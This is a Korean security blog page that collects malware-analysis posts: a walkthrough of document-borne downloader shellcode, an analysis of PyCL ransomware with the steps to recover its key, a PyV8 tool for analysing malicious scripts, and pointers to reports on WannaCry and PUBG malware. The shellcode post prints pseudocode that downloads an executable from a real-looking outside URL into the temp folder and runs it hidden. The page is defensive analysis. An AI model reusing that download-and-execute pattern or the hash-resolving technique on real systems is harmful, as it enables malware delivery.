블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

댓글을 달아 주세요

악성 쉘코드(Shellcode) 분석



 문서 악성코드를 분석하다가 내부에서 익스플로잇 후 쉘코드를 사용하는 것을 보았는데, 분석해보면 좋겠다는 생각이 들어 분석을 진행해봤습니다.



[그림 1. ODA에서 디스어셈블한 쉘코드 전체, 클릭하면 커집니다]


 쉘코드 전체는 위와 같습니다. 이 쉘코드는 크게 함수를 찾아 실행시키는 함수와 연쇄적으로 함수를 호출하는 두 부분으로 나뉩니다. 함수를 찾아 실행시키는 이 함수가 가장 중요하므로 메인 함수라고 부르겠습니다. 맨 밑에는 URL String이라고 주석으로 단 것과 같이 URL 문자열이 들어 있습니다.




[그림 2. 쉘코드 시작 직후 바로 Call 하는 루틴]


 우선 함수를 호출하는 부분부터 살펴보면, 쉘코드가 시작하자마자 쉘코드 내의 특정 함수를 Call하는 것을 볼 수 있습니다. Call 명령어의 특징은 JMP 명령과는 달리 실행되면서 자동으로 스택에 다음 명령어의 주소(여기서는 0x30006), 즉 리턴 어드레스를 스택에 Push한다는 점인데, Call된 함수 내부에서는 바로 Pop 명령으로 EBP에 그 값을 저장합니다. 그리고 스택에 몇 가지 인자를 넣고 EBP를 그대로 호출합니다. 첫 번째 인자는 지금은 무엇인지 알 수 없는 4바이트 값이며, 두 번째 인자는 Push ESP를 통해 들어간 문자열 값으로 "urlmon"이라는 값입니다. 이를 알 수 있는 이유는 Push ESP 이전에 두 번의 Push를 통해 스택에 문자열로 "urlmon"을 저장하는 것이 보이기 때문입니다. 이제 EBP에 지정된 함수(0x30006)에 대해 분석해보겠습니다.




[그림 3. 함수를 찾아 실행시키는 메인 함수]


 쉘코드 전체에서 위의 빨간 점선 부분이 Call EBP를 통해 호출되는 부분입니다. 바로 이 함수가 위에서 언급한 메인 함수입니다. 분석을 마치고 내린 결론은 이 함수는 인자로 특정 함수명의 해시를 전달받아 이를 찾아 실행시키는 함수라는 점입니다. 차근차근 위에서부터 분석해보겠습니다.




[그림 4. 로드된 모듈과 그 안의 함수 정보를 가져오는 부분]


 fs:[0x30]으로 PEB를 가져오고, 거기서 또 0xC만큼의 Offset에 있는 Ldr을 가져옵니다. 여기까지만 봐도 벌써 익숙한 코드여서 그 다음은 분석하기 무척 쉬웠습니다. 메모리에 로드된 DLL 정보가 이중 연결 리스트 형태로 저장되어있는 Ldr 구조체를 참조하여 로드된 DLL 정보와 Base Address를 가져오고, 이를 파싱하여 Export Table을 확인합니다. 만약 Export된 함수가 없을 경우에는 밑으로 점프하는데 밑에서는 참조할 DLL을 다음 것으로 로드한 뒤 다시 위로 돌아옵니다. 위 루틴이 끝난 후에는 ESI에 함수 이름이 저장됩니다. 자세한 내용은 전에 공부하며 정리한 적이 있으므로 아래 링크 두 개를 참조하면 되겠습니다.



TIB, PEB를 이용해 로드된 DLL 정보 가져오기 : https://5kyc1ad.tistory.com/328

GetProcAddress 없이 API 주소 가져오기 : https://5kyc1ad.tistory.com/329




[그림 5. 찾은 함수명 해싱]


 그렇게 찾아온 함수를 직접 만든 듯한 루틴에 넣고 돌려 4바이트짜리 해시를 뽑습니다. lodsb 명령의 경우 ESI가 가리키는 값 한 바이트를 al에 복사하고 ESI 값을 1바이트 증가시키는 역할을 합니다. (참고 : https://blog.naver.com/krquddnr37/20193085864) 해싱 함수의 경우 무척 간단해서 파이썬으로 루틴을 작성해봤습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# ROL & ROR Function : https://bbolmin.tistory.com/133
def ROL(data, shift, size=32):
    shift %= size
    remains = data >> (size - shift)
    body = (data << shift) - (remains << size )
    return (body + remains)
 
def ROR(data, shift, size=32):
    shift %= size
    body = data >> shift
    remains = (data << (size - shift)) - (body << size)
    return (body + remains)
 
def HashROR(target):
    ret = 0
    for c in target:
        ret = ROR(ret, 0xD)
        ret += ord(c)
    return ret
cs


 그리고 나온 해시를 [EBP+24]와 비교하는데, 이는 위에서 Call EBP를 통해 이 함수를 호출하기 전에 첫 번째 인자로 넣었던 값입니다. 즉, 메인 함수의 첫 번째 인자는 찾고자 하는 함수명의 해시임을 알 수 있습니다.




[그림 6. 찾은 함수 호출 루틴]


 그렇게 찾아낸 함수는 위 루틴을 거쳐 실행시킵니다. 함수로 Jmp하기 전에 PopadPop이 두 번 있는 것을 볼 수 있는데, 그림 3에서 확인할 수 있듯이 메인 함수가 실행된 후 Pushad를 호출했었습니다. Popad로 스택에서 그 부분을 다시 가져오고, pop을 두 번 진행하여 스택에 쌓여 있던 리턴 어드레스와 첫 번째 인자(해싱된 함수명)를 제거합니다. SFP(Saved Frame Pointer)의 경우에는 함수에서 호출되자마자 Push EBP를 통해 스택에 쌓는게 일반적이지만 여기에서는 그런 명령어는 없었으니 논외입니다. 이후 첫 번째로 Pop했던 리턴 어드레스를 다시 Push하고 Call이 아니라 JMP 명령어로 찾아낸 함수를 호출하는데, 이럴 경우 방금 Push한 메인 함수의 리턴 어드레스가 JMP 명령으로 이동할 함수에서 사용할 리턴 어드레스가 되므로 찾아낸 함수가 종료되는 순간 메인 함수를 호출한 다음 명령어로 돌아가게 될 것입니다. (그림 2의 0x300C7) 이렇게 하면 자연스럽게 메인 함수에 넘긴 두 번째 인자부터는 메인 함수 내에서 찾아 호출한 함수의 인자로 들어가게 됩니다.




[그림 7. 메인 함수 호출]


 이 쉘코드는 이런식으로 Call EBP를 연쇄적으로 호출하는데, 지금까지의 과정으로 메인 함수의 첫 번째 인자는 호출할 함수명의 해시이며 두 번째부터는 찾아서 호출될 함수에 들어갈 인자들이라는 것을 알 수 있었습니다. 




[그림 8. 함수명과 그 해시]


 이를 통해 찾아낸 각 해시에 대응하는 함수명들은 위와 같습니다. 이는 위에 파이썬으로 작성해 둔 HashROR 함수로 얻어낸 값입니다. 그림 7에 빨간 점선으로 표시된 값과 일치하는 것을 확인할 수 있습니다. 그림 7에도 주석으로 달려 있지만 이 쉘코드에서 호출할 것이라 예상되는 함수와 그 순서는 다음과 같습니다. (이해를 돕기 위해 중간에 Pseudo-Code도 포함되어있습니다)


1
2
3
4
5
6
7
LoadLibrary("urlmon");
LPVOID p = VirtualAlloc(NULL0x400, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
GetTempPathA(0x104, p);
+= "tasc.exe";
URLDownloadToFileA(NULL"http://hrkumdo.org/xe/files/capsule.jpg", p, NULLNULL);
WinExec(p, SW_HIDE);
TerminateProcess(INVALID_HANDLE_VALUE, 0);
cs



 결론을 내리면 이 쉘코드는 특정 URL에서 PE 파일을 다운로드 받아와서 임시 폴더에 저장하고, 콘솔 없이 백그라운드로 실행시키는 동작을 합니다. 난독화나 암호화가 된 것도 아니라서 분석하기는 무척 쉬웠던 것 같습니다.







블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

댓글을 달아 주세요

기사 : https://www.dailysecu.com/?mod=news&act=articleView&idxno=44554


 적당히 골라서 분석해 본 샘플이었는데 몇달 전에 발생한 북한 공격으로 추정되는 APT 캠페인의 바이너리였습니다.




블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

댓글을 달아 주세요

 



 

1. 개요

[그림 1. 분석 대상 샘플]

 PyCL이라는 특이한 이름의 랜섬웨어가 등장했길래 재밌어보여서 분석해봤습니다.

 

 

[그림 2. 흐름도]

 

 

2. 샘플 정보

파일명

sample1

파일 크기

10,192,467 Bytes (9.71MB)

파일 타입

PE32+ executable for MS Windows (GUI) Mono/.Net assembly

MD5

0d9e127186433171791aaf2820be9575

SHA1

cb1f60268ff2146f3970d2afa40f8f07e5481e81

SHA256

115c02efdacb18478be9a92b81f2d9eba622189aa9f60ecdbde522c4d3111d38

SSDeep

196608:KJMSrtRIcI2tVHhEVSL2v8hp1yjAOHR3f1gu8N150IrE7N3sO5JvVWsj4Pz:rj27aVSLo8p323f4750jIsU

 

파일명

sample2

파일 크기

10,192,572 Bytes (9.71MB)

파일 타입

PE32+ executable for MS Windows (GUI) Mono/.Net assembly

MD5

eab2c08156d5372c34f02b486d70c2f6

SHA1

69a1da7bea8c49fb10e15f57e76dffdce7a7b801

SHA256

5b9cd4e6fd0d309a8a7c6fa9181b372d1ce85532f4c5181ba1bb9e38495f2c5e

SSDeep

196608:KJMSrtR8cI2tVHhEVSL2v8hp1yjAOHR3f1gu8N150IrE7N3sO5JvVWsj4Pz:pj27aVSLo8p323f4750jIsU

 

 그림 1의 아이콘과 위의 메타데이터들을 보면 알 수 있듯, 파일 크기가 클 뿐만 아니라 두 샘플 모두 비슷한 크기의 같은 타입, 거의 동일한 SSDeep 해쉬값을 갖고 있습니다. 패커 혹은 래퍼로 감싸져서 그런 것이라고 의심이 가능합니다.


 

3. 분석

[그림 3. Tkinter 아이콘 확인]

 랜섬웨어가 실행되고 나면 위와 같은 창과 메시지박스가 등장하는데, 메시지박스의 아이콘은 파이썬 내장 GUI 라이브러리인 Tkinter의 기본 아이콘입니다. 이름에서 이미 예상했지만 파이썬으로 작성된 프로그램이라는 것을 알게 되었고, PE 파일로 래핑되어 있으므로 이를 해제하기 위해 무슨 툴을 사용했는지를 알 필요가 있었습니다.

 

[그림 4. PyInstaller 문자열 확인]

 파이썬을 EXE로 래핑하기 위해 가장 많이 사용하는 툴인 PyInstallerPy2Exe를 체크해볼 생각이었는데 찾아보니 바로 PyInstaller로 확인되었습니다.

 

[그림 5. pyinstxtractor]

 PyInstaller로 래핑된 파일을 래핑 해제하기 위해 pyintxtractor라고 하는 오픈소스 라이브러리(https://sourceforge.net/p/pyinstallerextractor/tickets/5/attachment/pyinstxtractor.py)를 사용하였습니다.

 

[그림 6. scriptedhind 파일]

 래핑 해제된 파일을 아무리 찾아도 메인 소스코드로 보이는 파일이 보이지 않아서 찾아보다 보니 scriptedhind라는 파일 내부에 랜섬웨어의 소스코드로 보이는 내용이 작성되어 있는 것을 볼 수 있었습니다. 파이썬 소스코드가 원형을 유지하고 있지는 않았지만 하드코딩된 문자열 등은 그대로 나타나 있었기 때문에 대충 어떤 랜섬웨어인지는 파악이 가능했고, 이것만으로는 정보가 불충분하다고 느껴서 파일명인 scriptedhind로 검색을 해봤습니다.

 

[그림 7. Ransomware Builder Github]

 검색 결과 scriptedhind라는 문자열을 포함하는 Github 주소가 등장했고, 접속해보니 자동으로 랜섬웨어를 만들어 주는 툴을 배포하고 있었습니다.

 

[그림 8. 책임 회피용 문구]

 작성자는 Github에 교육적인 목적으로만 제작된 것으로, 프로그램의 사용에 의한 책임을 지지 않겠다고 작성해놓았습니다. 하지만 이전에 오픈소스 원격관리도구라며 .Net기반 RATNanocore를 개발한 개발자가 유죄를 선고받은 사례도 있으므로 이게 합법이라고 판단하긴 힘들어 보입니다.



[그림 9. 해당 Github 유저]

 ScRipt1337이라는 닉네임을 사용하는 유저는 이외에도 직접 제작한 것처럼 보이는 여러 악성 프로그램을 교육적인 목적이라는 명목으로 공개해놓고 있습니다.

 


[그림 10. Ransomware Builder]

 아까 발견한 Ransomware Builder에 존재하는 두 개의 exe 파일은 둘 모두 랜섬웨어와 같이 PyInstaller로 래핑된 파이썬 기반 프로그램이었습니다. Builder.exe 파일을 실행하고 Github에 작성되어 있는 패스워드를 입력하면 위와 같은 창이 등장하고, 원하는 내용을 채워넣으면 이대로 랜섬웨어가 작성됩니다. 결과물은 Python 스크립트로, 단순히 위 항목들을 포맷팅하여 넣은 것에 지나지 않습니다. 드랍된 스크립트를 분석해보겠습니다.

 


[그림 11. 권한 체크]

 생성된 파이썬 파일은 실행된 직후 Admin 권한을 가졌는지 체크하고, 아니라면 UAC 컨트롤로 관리자 권한 획득을 시도합니다.

 

[그림 12. AntiVM?]

 이후 “WMIC BIOS GET SERIALNUMBER” 명령을 이용해 하드웨어 정보를 가져옵니다. VMware 에서 생성한 VM 내부에서 사용할 경우 stdout으로 “VMware-56 4d 05 69 52 1c d8 fa-86 9e 1c 72 28 bd f5 46”라는 값이 출력되었는데, 저기에서 받는 result stdout을 받는 것이 아니라 프로그램의 종료 시 리턴 값을 받는 것이기 때문에 VM 여부에 관계없이 명령어가 성공한 이상 무조건 0이 반환되었습니다.

 

[그림 13. 작업 관리자 차단]

 그림 12 disabletask 함수 내부에서는 특정 레지스트리 값을 추가하는 것으로 작업 관리자의 사용을 차단합니다.

 

[그림 14. 실수?]

 실수인지 고의인지는 모르겠지만, 이렇게 반환된 0 int로 형변환한 후 문자열 “0”과 비교하는 어이없는 일을 수행합니다. 이미 타입 자체가 다르기 때문에 무조건 False가 될 수밖에 없고, main이 실행됩니다. 여기서 strongKey는 위의 Builder.exe에서 입력한 암호화 키 값입니다.

 

[그림 15. main]

 main 함수 내에서는 “C:\” 하위의 파일들을 대상으로 총 145개의 확장자를 검색하여 일치하는 파일에 대해 암호화를 수행합니다. 여기서 문제는 파일이 존재할 때마다 바탕화면에 랜섬노트로 추정되는 파일을 계속해서 덮어쓴다는 것입니다. 이 랜섬웨어는 작동하는 속도가 비정상적으로 느려 전부 암호화가 될 때까지 10분 이상이 소요되는데, 이 작업이 거기에 한몫 하는 것으로 보입니다. (그러면서 자기가 작성한 랜섬노트마저 확장자가 .txt라는 이유로 암호화해버립니다;)

 

[그림 16. 암호화 루틴]

 암호화에는 AES CBC를 사용하며, Initialization Vector는 그때그때 랜덤한 값을 뽑아서 사용합니다. 파일의 암호화 전에 파일의 크기와 IV를 총 32바이트 버퍼에 담아서 파일 앞부분에 저장하고, 이후 특정 크기씩 읽어와 블록 암호화를 진행합니다. 입력한 key는 키 그대로가 아니라 sha256으로 한번 해싱하여 AES의 키로 사용합니다. 암호화된 파일의 확장자는 .impect가 추가로 붙습니다.

 

[그림 17. 복호화 루틴]

 바로 밑에 복호화 루틴도 있었는데, 복호화 완료된 파일명을 제대로 복원시켜주는게 아니고 뒤에서 offset -3까지만 가져오기 때문에 [원본파일명].imp 로 변환될 것으로 예상이 가능합니다.

 

[그림 18. 실수 2?]

 이렇게 암호화가 전부 완료되고 나면 try~except 문으로 진입하는데, try문 내에서 특정 파일을 읽어와서 str형태로 변환한 다음 6을 더하는 행위를 하고 있습니다. Javascript도 아니고 str 타입 변수에 int형 상수를 더하는 것이 허용될 리 없으므로 무조건 except로 빠지게 되고, 결국 현재 시간을 작성하는 용도로밖에 쓰이지 않습니다. except에서 현재 시간을 포맷팅한 후 offset -6까지를 저장하는 것으로 보아 현재의 시간을 작성하는 것이고, 가져온 시간에 6을 더해서 일치할 경우(있을 수가 없는 일이지만) “C:\Users\유저네임이하의 모든 파일을 삭제합니다. 결코 발생할 수 없는 루틴이지만 일정 시간 내에 금전을 지불하지 않을 경우 해당 파일들을 전부 삭제하겠다는 류의 협박성 루틴인 것 같습니다.

 

 

[그림 19. 작업 표시줄 숨기기]

 위 작업이 끝나고 나면 이유는 모르지만 작업 표시줄을 먼저 숨깁니다. 작업 표시줄과 함께 시작 버튼도 같이 숨기려고 하는 것 같은데, Windows 7에서 테스트 해본 결과 제대로 숨겨지지 않았습니다.

 


[그림 20. 바탕화면 변경 시도]

 Builder.exe에서 입력했던 url을 이용하여 이미지 파일을 다운로드 받고, 그것을 이용하여 바탕화면을 변경하려고 시도합니다. 여기서는 64비트인지 체크하여 맞을 경우 SystemParametersInfoW를 사용하고 아닐 경우 SystemParametersInfoA를 사용하는데, 왜 굳이 저렇게 하는지는 잘 모르겠습니다. 윈도우 API에 익숙하지 않은 제작자라는 생각이 듭니다.

 

 

[그림 21. GUI 루틴]

 위 작업까지 끝나고 나면 그림 3에서 볼 수 있듯이 Tkinter를 이용하여 GUI로 윈도우 하나를 띄우고, 랜섬웨어 감염 사실을 (욕설과 함께)알리고 키를 입력할 수 있는 Entry 칸을 하나 만들어둡니다. Decrypt 버튼을 누르면 runthefuckup 함수가 실행됩니다. 교육적인 목적으로 공개했다고 했는데 전혀 교육적이지 않아 보입니다.

 


[그림 22. runthefuckup 함수]

 입력받은 키 값이 저장된 키 값과 일치할 경우 C:\ 하위를 돌면서 암호화된 파일에 대해 복호화를 수행하고, 다를 경우 욕설이 씌여 있는 메시지 박스를 띄웁니다.


4. 복호화 방법

 pyinstxtractor를 이용하여 PyInstaller를 래핑 해제했을 때 메인 소스코드가 정상적으로 나오면 좋은데, 어째선지 제대로 메인 소스코드가 등장하지 않아서 키를 어떻게 찾아야 하는지 고민했었습니다. 단서는 랜섬웨어의 메인으로 보이는 scriptedhind 파일이었는데, pyc 디컴파일러를 돌려봐도 제대로 디컴파일이 되지 않았습니다. 하지만 알고 보니 pyc파일은 맞는데 시그니쳐 부분만 날아갔던 것이었고, 그래서 시그니쳐를 복원하고 디컴파일을 돌려봤더니 정상적으로 디컴파일이 되었습니다.

 

[그림 23. 누락되었던 시그니쳐]

 

 이렇게 누락됐던 시그니쳐를 추가한 후 Easy Python Decompiler를 이용하여 pyc파일을 디컴파일했습니다.

 

[그림 24. 디컴파일된 소스코드]

 디컴파일로 추출한 소스코드 내에서 암호화 키를 확인 가능하고, 랜섬웨어가 띄운 창에 입력하면 정상적으로 복호화가 되지만 프로그램 자체가 무척 불안정해서 응답을 하지 않거나 복호화 하는 데에 시간이 상당히 소요됩니다. 복호화를 해주는 툴은 C++로 직접 짜볼 생각이며, 추후 포스팅하여 링크하겠습니다.


 복호화 키 얻는 방법 요약

1. python.org 에서 파이썬 설치. 2, 3 버전 관계 없음.

2. 랜섬웨어 파일을 pyinstxtractor를 이용하여 디컴파일하여 패킹된 파일들을 추출.

3. 내부에 scriptedhind 파일을 hxd등을 이용하여 맨 앞에 Hex값으로 '03 F3 0D 0A 00 00 00 00'을 추가 후 scriptedhind.pyc로 확장자 변경

4. Easy Python Decompiler를 이용하여 방금 만든 scriptedhind.pyc 파일을 디컴파일

5. 디컴파일되어 떨어진 scriptedhind.pyc_dis 파일을 열어서 strongkey 값 확인


 현재 가진 샘플 두 종류의 MD5 Hash와 키 값은 다음과 같습니다.

0d9e127186433171791aaf2820be9575 : !0oPQrSuUaOwc7upKgesZqrUOrwP7XCugYX3xHUKjZrc321308

eab2c08156d5372c34f02b486d70c2f6 : 1qazxsw21@@@

블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

댓글을 달아 주세요

  • Whiteknight 2020.04.11 21:15 신고  댓글주소  수정/삭제  댓글쓰기

    파이썬 배경화면 설정법 검색하다 들어왔습니다. 파이썬같이 쉬운 도구가 없었다면 저 친구는 랜섬웨어 만들기 어렵지 않았을까 하면서도 파이썬의 능력에 또 한 번 감탄하게 됩니다. 글 잘 읽었습니다. 좋은 하루 보내세요!




블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

댓글을 달아 주세요

[Python] PyV8을 이용한 Javascript 분석


여기에 작성된 글을 보고 이것을 이용하면 난독화된 악성 스크립트를 안전하고 효율적으로 분석이 가능하겠다는 생각이 들어서 비슷한 방식으로 만들어보기로 마음먹었다.


[PyV8은 여기에서 다운받을 수 있다. 마지막 업로드가 2012년인 것이 조금 걸리지만...]

 PyV8은 구글에서 만든 자바스크립트 엔진인 V8의 파이썬 래퍼로, 자바스크립트 코드를 해석하고 실행하여 그 결과를 파이썬에서 받아볼 수 있다. 하지만 PyV8은 자바스크립트 문법을 해석해 줄 뿐 운영체제의 API에 연결되어 있지 않기 때문에, 악성 스크립트에서 자주 사용하는 WScript.Shell 등을 사용하면 정의되지 않았다면서 에러가 발생한다. 그래서 직접 더미 API를 만들어서 넘겨주어야 하는 필요성이 있고, 위에서 언급했던 블로그에서는 각 모듈과 함수들을 직접 정의하여 넘겨주는 방식으로 제작했었다. 그런데 그렇게 만들게 되면 모든 모듈과 함수에 대응하는 클래스 및 메서드를 직접 다 만들어서 전달해야 한다는 불편함이 있었고, 결국 내가 원하는 것은 '어떤 함수가 어떤 인자를 받아서 실행되었는가' 이기 때문에 전부 간단하게 추상화시킬 수 있다고 판단하여 결국 간단하게 추상화 하는 것에 성공하였다. 자세한 내용은 소스코드를 보면서 작성하겠다.


http://5kyc1ad.kr/files/ScriptAnalyzer.zip

(악성코드 분석하려고 만든건데 티스토리에서 악성코드라며 첨부파일을 막아버렸네요; 첨부파일은 제 서버 주소로 대체하겠습니다.

꽤 시간이 흐른 뒤에 발견해버린 터라 실제 본문의 스크립트와는 상당히 달라졌을 수 있습니다.)

ScriptAnalyzer.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import os
 
import PyV8
 
from DummyAPI.Global import Global
 
class ScriptAnalyzer:
    def __init__(self):
        pass
 
    def __del__(self):
        pass
 
    def Analyze(self, targetJSFile):
        if not os.path.exists(targetJSFile):
            print "[-] Target File not found : %s" % (targetJSFile)
            return False
 
        with open(targetJSFile, "rb") as f:
            javaScript = f.read()
 
        ctx = PyV8.JSContext(Global())
        ctx.enter()
        ctx.eval(javaScript)
 
        return True
 
def main():
    scriptAnalyzer = ScriptAnalyzer()
    scriptAnalyzer.Analyze("..\\script4.js-")
 
if __name__ == '__main__':
    main()
cs

 PyV8을 이용하여 Javascript를 실행하는 분석기와 그를 이용하는 main 함수가 존재하는 소스코드 파일이다. 별다른건 없고 이후 나올 DummyAPI.Global 모듈에서 Global 클래스를 가져와 넘기는 것만 확인하면 된다.


Global.py

1
2
3
4
5
6
7
import PyV8
 
from DummyAPI.AbstractType import AbstractType
 
class Global(PyV8.JSClass):
    def __getattr__(self, name):
        return AbstractType(name)
cs

 추상화에 성공하여 무척 간결해져 버린 Global 클래스의 소스코드이다. 원래라면 클래스 멤버 변수로 각 모듈들에 대응하는 클래스의 인스턴스를 가지고 있어야 하지만, 어떤 모듈을 호출할 지 모르므로 __getattr__ 메서드를 정의하는 것으로 한번에 해결해 버렸다. __getattr__ 메서드는 classA.not_exist_value 처럼 클래스 내부에 존재하지 않는 변수, 혹은 메서드에 접근했을 경우 호출되는 함수이다. 현재 Global 클래스 내부에 저 함수 외에는 아무것도 정의되지 않았으므로 Javascript 내에서 어떤 모듈 혹은 Global 함수를 호출하던 간에 AbstractType(name) 을 리턴받게 될 것이다. AbstractType은 직접 작성한 타입으로, 다음 소스코드에서 확인이 가능하다.


AbstractType.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import PyV8
import Utils
 
class AbstractType(PyV8.JSClass):
    def __init__(self, thisName):
        self.thisName = thisName
 
    # Type is Function
    def __call__(self, *args, **kwargs):
        if len(args) > 0 and len(kwargs.keys()) > 0:
            print ("[*] %s(%s, %s)" % (self.thisName, Utils.argsToStr(args), Utils.kwargsToStr(kwargs)))
        elif len(kwargs.keys()) > 0:
            print ("[*] %s(%s)" % (self.thisName, Utils.kwargsToStr(kwargs)))
        else:
            print ("[*] %s(%s)" % (self.thisName, Utils.argsToStr(args)))
 
        if len(args) > 0:
            return AbstractType(args[0])
        else:
            return AbstractType("By_%s" % (self.thisName))
 
    # Type is Module
    def __getattr__(self, name):
        return AbstractType("%s.%s" % (self.thisName, name))
cs

 이번에 추상화에서 얻어낸 가장 큰 산물인 AbstractType 클래스이다. 생성자에서 호출한 이름을 인자로 받으며(Global.py 참고), __call__ 메서드를 정의하여 인스턴스가 함수로써 사용될 경우 *args, **kwargs 등 가변 길이 변수를 받아서 print로 이름과 함께 로깅하도록 하였다. 또한 Global.py에서처럼 __getattr__ 메서드를 정의하여 모듈 내의 함수에 접근하는 것과 같은 행위를 할 경우 현재 이름에 새 이름을 붙여 AbstractType 클래스를 새로 생성해 리턴하는 것으로 함수의 경우 위에서 정의한 __call__ 에 의해 자동으로 로깅이 되도록 하였다.


 이를 이용하면 따로 모듈과 함수를 직접 구현해주지 않고도 호출하는 문자열을 이용해 그때그때 상황에 맞는 AbstractType을 생성하여 로깅하는 것이 가능해지며, 악성 스크립트 분석에 큰 도움이 될 수 있다.


[실제 악성 스크립트 분석 결과]


 실제로 스크립트 분석 결과 구체적인 모듈이나 함수 정의는 전혀 하지 않았음에도 모듈 및 함수, 그 인자까지 전부 로깅되는 것을 볼 수 있다. 한 언어에 대한 이해가 깊어지면 이렇게 효율적이고 추상적인 코드 작성이 가능해진다는 것을 제대로 느낄 수 있는 프로젝트였다. 현재는 print로밖에 로깅을 진행하지 않지만 이후 파일이나 리턴 값으로 받을 수 있게 하면 자동 분석에도 응용이 가능할 것으로 보인다. 좀 더 고도화를 진행해 볼 예정이다.


블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

댓글을 달아 주세요

  • 2019.03.26 17:28  댓글주소  수정/삭제  댓글쓰기

    비밀댓글입니다

    • __미니__ 2019.03.28 14:33 신고  댓글주소  수정/삭제

      알려주셔서 감사합니다.
      본문에 작성된 소스코드에서 좀 더 개발을 진행한 소스코드만 가지고 있어서 해당 버전으로 제 개인 서버에 업로드 후 다시 링크를 걸어두었으니 참고해주시면 되겠습니다.

      혹시나 잘 작동하지 않거나 본문의 소스코드를 원하시면 드래그 및 복사 허용되어있으니 본문의 소스코드를 복사해 사용해주세요~


 기사 : https://www.bleepingcomputer.com/news/security/pubg-ransomware-decrypts-your-files-if-you-play-playerunknowns-battlegrounds/


 배틀그라운드를 일정 시간 플레이하면 파일을 복호화해주는 랜섬웨어가 등장해서 분석해 보았습니다. 진지하게 만든 건 아니고, 그냥 장난삼아 만든 것으로 보입니다.




PDF 보고서가 보이지 않는다면 아래의 '분석 보고서 열기' 버튼을 클릭하여 열람하시기 바랍니다.


블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

댓글을 달아 주세요


 2017년 5월에 등장하여 큰 파장을 불러일으켰던 랜섬웨어 WannaCry를 분석해봤습니다.




 PDF 보고서가 보이지 않는다면 아래의 '분석 보고서 열기' 버튼을 클릭하여 열람하시기 바랍니다.



블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

댓글을 달아 주세요


 출시 전부터 쭉 엄청난 인기를 끌고 있는 유명 게임 '배틀그라운드'의 핵으로 위장, 국내 게이머를 타겟팅한 악성코드를 분석했습니다.



[분석 보고서 - PDF]


 PDF 보고서가 보이지 않는다면 아래의 '분석 보고서 열기' 버튼을 클릭하여 열람하시기 바랍니다.



 아래 첨부파일은 악성코드 내부의 리소스를 복호화하는 데에 사용했던 C# 프로젝트 소스코드입니다.

필요하신 분은 다운받아서 참고하여 사용해주시면 되겠습니다.

PUBG_H_Resource_Parser.zip


블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

댓글을 달아 주세요